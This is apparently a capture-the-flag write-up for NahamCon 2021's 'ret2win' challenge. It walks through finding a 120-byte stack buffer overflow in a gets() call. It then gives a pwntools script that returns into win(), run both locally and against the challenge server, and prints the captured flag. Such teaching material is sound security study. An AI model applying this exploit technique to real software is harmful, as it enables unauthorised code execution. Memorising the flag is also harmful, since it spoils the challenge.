# ret2win
## Disassembly
The main function:```Cmain(void) {	vuln();	puts("Nope :(");	return 0;}```So what is in the `vuln` function?```Cvoid vuln(void){	char input[112];
	printf("Can you overflow this?: ");	gets(input);	return;}```This feels obvious, we have to overflow the string input, so we can clobber the instruction pointer and get our own assembly in.And what do we have to do? We have to return to the `win()` function, which in short reads from a `flag.txt` file. We can try and do this with `pwntools`!
## Proof of Concept
First I tried calling:```bashpython3 -c "print('A'*112)" | ./ret2basic ```But this doesn't overflow, so we can try upping it up. I'm doing this to find the offset where we get a segmentation fault.```bashpython3 -c "print('A'*120)" | ./ret2basic Can you overflow this?: free(): invalid pointerAborted
python3 -c "print('A'*135)" | ./ret2basic Can you overflow this?: Segmentation fault```So 120 gives us an invalid free and at 135 a segfault. Is this really the offset though?```bashpython3 -c "print('A'*125)" | ./ret2basic Can you overflow this?: Segmentation fault```And checking `dmesg`:```Code: Unable to access opcode bytes at RIP 0x4141414117.````0x41` is A. So this clearly clobbers the Instruction pointer! Now, can we get the RIP pointer to be 0?After some experimenting with `gdb` and `dmesg`, I got the following in gdb:```(gdb) Can you overflow this?: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.0x0000000000400041 in ?? ()(gdb) info registersrax            0x7fffffffdfc0      140737488347072rbx            0x0                 0rcx            0x7ffff7fa9980      140737353783680rdx            0x0                 0rsi            0x7ffff7fa9a03      140737353783811rdi            0x7ffff7fac4d0      140737353794768rbp            0x4141414141414141  0x4141414141414141rsp            0x7fffffffe040      0x7fffffffe040r8             0x7fffffffdfc0      140737488347072r9             0x0                 0r10            0xfffffffffffff23f  -3521r11            0x246               582r12            0x401100            4198656r13            0x7fffffffe120      140737488347424r14            0x0                 0r15            0x0                 0rip            0x400041            0x400041     <----------```The Instruction pointer includes our `0x41`. This was 121 characters, so 120 characters is probably our sweet spot.
## Exploitation
Testing that our offset of 120 is correct:```py#!/usr/bin/env python3
from pwn import *
offset = 120
elf = ELF('./ret2basic')p = elf.process()
print(p.recvuntil(": "))
payload = [	b'A'*offset,	b'BB'] 
payload = b''.join(payload)
p.sendline(payload)p.interactive()```So I ran it and got a segfault, next dmesg output!```[ 6605.507489] ret2basic[3356]: segfault at 4242 ip 0000000000004242 sp 00007ffec4e5da80 error 14 in ret2basic[400000+1000]````segfault at 4242` is our two B's. Excellent! Now just to get the address of the flag function. Or `win()`.```py#!/usr/bin/env python3
from pwn import *
offset = 120
elf = ELF('./ret2basic')p = elf.process()
print(p.recvuntil(": "))
payload = [	b'A'*offset,	p64(elf.symbols['win'])] 
payload = b''.join(payload)
p.sendline(payload)p.interactive()```Yes! This works locally, now just configure it to work on a remote connection:```py#!/usr/bin/env python3
from pwn import *
offset = 120
elf = ELF('./ret2basic')p = remote('challenge.nahamcon.com',30413)
print(p.recvuntil(": "))
payload = [	b'A'*offset,	p64(elf.symbols['win'])] 
payload = b''.join(payload)
p.sendline(payload)p.interactive()```And what do we get?```bash./exploit.py [*] '/root/CTFs/Nahamcon-2021/ret2win/ret2basic'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x400000)[+] Opening connection to challenge.nahamcon.com on port 30413: Doneb'Can you overflow this?: '[*] Switching to interactive modeHere's your flag.flag{d07f3219a8715e9339f31cfbe09d6502}```Awesome!